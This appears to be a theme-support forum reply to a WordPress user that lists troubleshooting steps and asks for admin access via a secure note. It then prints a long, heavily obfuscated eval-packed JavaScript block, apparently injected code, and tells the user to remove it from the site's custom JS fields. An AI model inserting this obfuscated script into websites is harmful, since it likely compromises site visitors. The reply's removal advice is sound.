Hello Stanley,
Thanks for writing in! In most cases, this issue could be caused by a plugin conflict, amongst other things. Please check out this troubleshooting article here and follow the instructions for the following sections (where appropriate):
Testing for Plugin Conflict
Child Theme
CSS/JS Customization
Disabling Cache
Disabling CDN
If nothing is helping, provide us access to your site so that we can check your settings. Please create a secure note with the following info:
– Link to your site
– WP login URL
– WP username
– WP password
– WP Administrator Role
To know how to create a secure note, please check this out: How The Forum Works
By the way, please remove this JS code:
/*eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('1K B=["\\Z\\1c\\m\\T\\d\\g\\a\\q\\a\\k\\a\\H\\a\\q\\a\\o\\a\\1a\\g\\n\\g\\a\\k\\a\\f\\a\\G\\a\\o\\a\\l\\a\\C\\a\\A\\a\\o\\a\\I\\a\\u\\a\\f\\a\\15\\a\\10\\g\\n\\g\\a\\M\\a\\i\\a\\h\\a\\1t\\a\\H\\a\\i\\a\\u\\a\\i\\a\\k\\a\\h\\a\\1x\\a\\A\\a\\1u\\a\\1a\\g\\n\\g\\a\\I\\a\\l\\a\\i\\a\\Q\\g\\n\\g\\a\\J\\a\\J\\a\\k\\a\\f\\a\\G\\a\\o\\a\\l\\a\\C\\a\\A\\a\\o\\a\\I\\a\\u\\a\\f\\a\\15\\a\\10\\a\\V\\a\\W\\a\\q\\a\\u\\g\\n\\g\\a\\C\\a\\i\\a\\h\\a\\1j\\a\\h\\a\\h\\a\\l\\a\\f\\a\\Y\\a\\1z\\a\\h\\a\\i\\g\\n\\g\\a\\l\\a\\i\\a\\H\\g\\n\\g\\a\\k\\a\\q\\a\\Q\\a\\q\\a\\H\\a\\H\\a\\q\\a\\1o\\g\\n\\g\\a\\h\\a\\f\\a\\h\\a\\H\\a\\i\\g\\n\\g\\a\\1k\\a\\f\\a\\G\\a\\o\\a\\l\\a\\p\\a\\1f\\a\\A\\a\\o\\a\\I\\a\\u\\a\\f\\a\\p\\a\\V\\a\\p\\a\\j\\f\\a\\i\\a\\C\\a\\f\\a\\M\\a\\k\\a\\i\\a\\l\\a\\1b\\a\\p\\a\\j\\m\\a\\l\\a\\q\\a\\M\\a\\l\\a\\o\\a\\u\\a\\u\\a\\i\\a\\l\\a\\1b\\a\\p\\a\\1f\\a\\h\\a\\l\\a\\o\\a\\h\\a\\i\\a\\M\\a\\f\\a\\C\\a\\h\\a\\p\\a\\1y\\a\\p\\a\\1s\\a\\l\\a\\f\\a\\h\\a\\i\\a\\l\\g\\n\\g\\a\\C\\a\\h\\a\\A\\a\\H\\a\\i\\g\\n\\g\\a\\Q\\a\\q\\a\\k\\a\\h\\a\\11\\a\\C\\a\\f\\a\\G\\a\\i\\a\\N\\a\\p\\a\\f\\a\\k\\a\\I\\a\\i\\a\\l\\a\\f\\a\\h\\a\\p\\a\\c\\a\\f\\a\\u\\a\\D\\a\\q\\a\\l\\a\\h\\a\\o\\a\\k\\a\\h\\a\\R\\a\\p\\a\\Q\\a\\q\\a\\k\\a\\h\\a\\11\\a\\1o\\a\\i\\a\\f\\a\\M\\a\\I\\a\\h\\a\\N\\a\\p\\a\\j\\h\\a\\1q\\a\\1q\\a\\R\\a\\p\\a\\P\\a\\f\\a\\C\\a\\f\\a\\Y\\a\\f\\a\\H\\a\\f\\a\\h\\a\\A\\a\\N\\a\\p\\a\\P\\a\\f\\a\\C\\a\\f\\a\\Y\\a\\H\\a\\i\\a\\p\\a\\c\\a\\f\\a\\u\\a\\D\\a\\q\\a\\l\\a\\h\\a\\o\\a\\k\\a\\h\\a\\R\\a\\p\\a\\G\\a\\11\\a\\f\\a\\k\\a\\1a\\a\\i\\a\\j\\S\\a\\N\\a\\p\\a\\1p\\a\\1p\\a\\p\\a\\c\\a\\f\\a\\u\\a\\D\\a\\q\\a\\l\\a\\h\\a\\o\\a\\k\\a\\h\\a\\R\\a\\p\\a\\q\\a\\D\\a\\o\\a\\W\\a\\f\\a\\h\\a\\A\\a\\N\\a\\p\\a\\1r\\a\\p\\a\\c\\a\\f\\a\\u\\a\\D\\a\\q\\a\\l\\a\\h\\a\\o\\a\\k\\a\\h\\a\\R\\g\\n\\g\\a\\f\\a\\k\\a\\k\\a\\i\\a\\l\\a\\1w\\a\\j\\U\\a\\1v\\a\\j\\q\\g\\n\\g\\a\\1k\\a\\f\\a\\G\\a\\o\\a\\l\\a\\1f\\a\\A\\a\\o\\a\\I\\a\\u\\a\\f\\a\\15\\a\\10\\g\\n\\g\\a\\H\\a\\i\\a\\k\\a\\M\\a\\h\\a\\I\\g\\n\\g\\a\\J\\a\\J\\a\\k\\a\\f\\a\\G\\a\\o\\a\\l\\a\\C\\a\\A\\a\\o\\a\\I\\a\\u\\a\\f\\a\\15\\a\\10\\a\\V\\a\\W\\a\\q\\a\\u\\a\\J\\a\\P\\a\\f\\a\\q\\a\\H\\a\\o\\a\\h\\a\\f\\a\\q\\a\\k\\a\\11\\a\\k\\a\\q\\a\\h\\a\\f\\a\\W\\a\\i\\g\\n\\g\\a\\j\\u\\a\\C\\a\\i\\a\\H\\a\\Q\\g\\n\\g\\a\\q\\a\\D\\a\\i\\a\\k\\g\\e\\O\\j\\p\\F\\1n\\F\\j\\i\\E\\19\\1h\\d\\m\\d\\x\\e\\e\\T\\1n\\F\\E\\19\\Z\\1c\\X\\T\\1g\\d\\m\\d\\y\\e\\e\\F\\m\\d\\j\\e\\E\\O\\X\\d\\m\\d\\z\\e\\e\\F\\m\\d\\s\\e\\n\\m\\d\\v\\e\\E\\O\\X\\d\\m\\d\\z\\e\\e\\F\\m\\d\\r\\e\\n\\m\\d\\w\\e\\E\\O\\X\\d\\m\\d\\z\\e\\e\\F\\m\\d\\U\\e\\n\\m\\d\\S\\e\\E\\O\\X\\d\\m\\d\\z\\e\\e\\F\\m\\d\\j\\x\\e\\n\\m\\d\\j\\j\\e\\E\\O\\X\\d\\m\\d\\j\\y\\e\\e\\T\\m\\d\\j\\s\\e\\1e\\1e\\E\\O\\Z\\1c\\L\\T\\d\\m\\d\\j\\v\\e\\n\\m\\d\\j\\e\\n\\m\\d\\y\\e\\n\\m\\d\\j\\z\\e\\n\\m\\d\\j\\r\\e\\n\\m\\d\\j\\w\\e\\e\\O\\j\\k\\F\\1g\\d\\L\\d\\y\\e\\e\\F\\L\\d\\j\\e\\E\\d\\L\\d\\x\\e\\e\\T\\T\\x\\E\\19\\j\\l\\F\\1h\\d\\L\\d\\z\\e\\e\\F\\L\\d\\s\\e\\n\\L\\d\\v\\e\\E\\n\\j\\o\\E\\1e","\\b","\\M\\L\\C\\o\\J","\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\c\\r\\S\\b\\c\\w\\v\\b\\18\\x\\c\\i\\k\\S\\U\\b\\c\\r\\z\\b\\c\\r\\Z\\b\\c\\w\\y\\b\\c\\y\\x\\b\\c\\r\\V\\b\\c\\r\\j\\b\\c\\r\\Y\\b\\c\\r\\P\\b\\c\\w\\s\\b\\c\\r\\U\\b\\c\\w\\S\\b\\c\\w\\W\\b\\18\\x\\c\\f\\j\\m\\U\\b\\18\\x\\c\\l\\l\\i\\s\\c\\y\\b\\c\\w\\x\\b\\c\\r\\w\\b\\c\\y\\V\\b\\c\\s\\W\\b\\c\\s\\11\\b\\c\\r\\r\\b\\c\\y\\j\\b\\c\\s\\w\\b\\c\\s\\s\\b\\c\\r\\s\\b\\c\\y\\Y\\b\\c\\w\\r\\b\\c\\r\\y\\b\\R\\f\\D\\b\\c\\y\\Z\\b\\c\\r\\v\\b\\c\\z\\s\\b\\c\\y\\P\\b\\Q\\o\\A\\i\\G\\Q\\b\\c\\v\\Z\\b\\i\\G\\m\\N\\I\\k\\A\\J\\b\\c\\w\\w\\b\\c\\s\\x\\b\\l\\N\\A\\m\\J\\o\\G\\A\\b\\c\\s\\S\\b\\c\\v\\j\\b\\c\\v\\S\\b\\c\\s\\j\\b\\c\\v\\Y\\b\\c\\v\\y\\b\\c\\v\\z\\b\\c\\w\\z\\b\\c\\y\\r\\b\\c\\v\\U\\b\\c\\z\\w\\b\\b\\b\\b\\b\\b\\b\\b\\b\\c\\z\\v\\b\\c\\w\\U\\b\\c\\v\\v\\b\\c\\s\\r\\b\\c\\z\\x\\b\\18\\x\\c\\l\\l\\i\\s\\c\\j\\b\\o\\l\\b\\M\\k\\J\\1b\\A\\J\\k\\D\\R\\f\\C\\b\\u\\1j\\N\\k\\D\\10\\b\\c\\v\\P\\b\\s\\x\\x\\x\\b\\c\\z\\V","","\\l\\D\\G\\I\\P\\q\\f\\D\\P\\G\\i\\k","\\D\\k\\L\\C\\f\\m\\k","\\a\\Q\\1H","\\a\\h","\\p"];1I(16(14,13,t,12,K,1d){K=16(t){17(t<13?B[4]:K(1J(t/13)))+((t=t%13)>1L?1i[B[5]](t+1G):t.1C(1B))};1l(!B[4][B[6]](/^/,1i)){1m(t--){1d[K(t)]=12[t]||K(t)};12=[16(K){17 1d[K]}];K=16(){17 B[7]};t=1};1m(t--){1l(12[t]){14=14[B[6]](1A 1F(B[8]+K(t)+B[8],B[9]),12[t])}};17 14}(B[0],1D,1E,B[3][B[2]](B[1]),0,{}))',62,110,'||||||||||x5C|x7C|x78|x5B|x5D|x61|x22|x62|x64|x31|x65|x66|x63|x2C|x69|x67|x68|x36|x33|_0x8200x3|x6A|x34|x37|x30|x32|x35|x6E|_0xd927|x6C|x72|x29|x28|x6F|x6B|x6D|x74|_0x8200x5|x70|x73|x75|x3B|x43|x77|x76|x39|x3D|x38|x46|x41|x71|x44|x45|x79|x42|_0x8200x4|_0x8200x2|_0x8200x1|x7A|function|return|x5F|x7B|x47|x49|x20|_0x8200x6|x7D|x48|x4C|x4A|String|x51|x4B|if|while|x4F|x4D|x50|x4E|x53|x5A|x56|x52|x54|x59|x55|x58|x57|new|36|toString|62|82|RegExp|29|x2B|eval|parseInt|var|35'.split('|'),0,{}))
You can remove this code both in the header custom JS, Footer Custom JS, and the theme options custom JS.
Best Regards.
